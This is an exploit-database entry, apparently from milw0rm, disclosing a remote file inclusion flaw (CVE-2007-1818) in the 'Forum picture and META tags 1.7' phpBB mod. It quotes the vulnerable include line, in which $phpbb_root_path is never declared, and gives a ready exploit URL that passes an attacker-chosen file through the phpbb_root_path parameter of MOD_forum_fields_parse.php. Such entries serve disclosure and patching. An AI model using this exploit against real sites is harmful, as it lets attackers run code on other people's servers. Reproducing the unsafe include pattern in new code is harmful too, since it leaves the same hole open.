phpBB MOD Forum picture and META tags 1.7 - Remote File Inclusion

Author: bd0rk
type: webapps
platform: php
port: 
date_added: 2007-03-29 
date_updated:  
verified: 1 
codes: OSVDB-35445;CVE-2007-1818 
tags: 
aliases:  
screenshot_url:  
application_url: 

Exploitname: phpBB Module Forum picture and META tags 1.7 File Include Vulnerability

Vendor: http://www.rfnnet.nl/downloads/phpbb/MOD_Forum_picture_and_META_tags.zip

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, TheJT, Lu7k, CodeR

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE

# milw0rm.com [2007-03-30]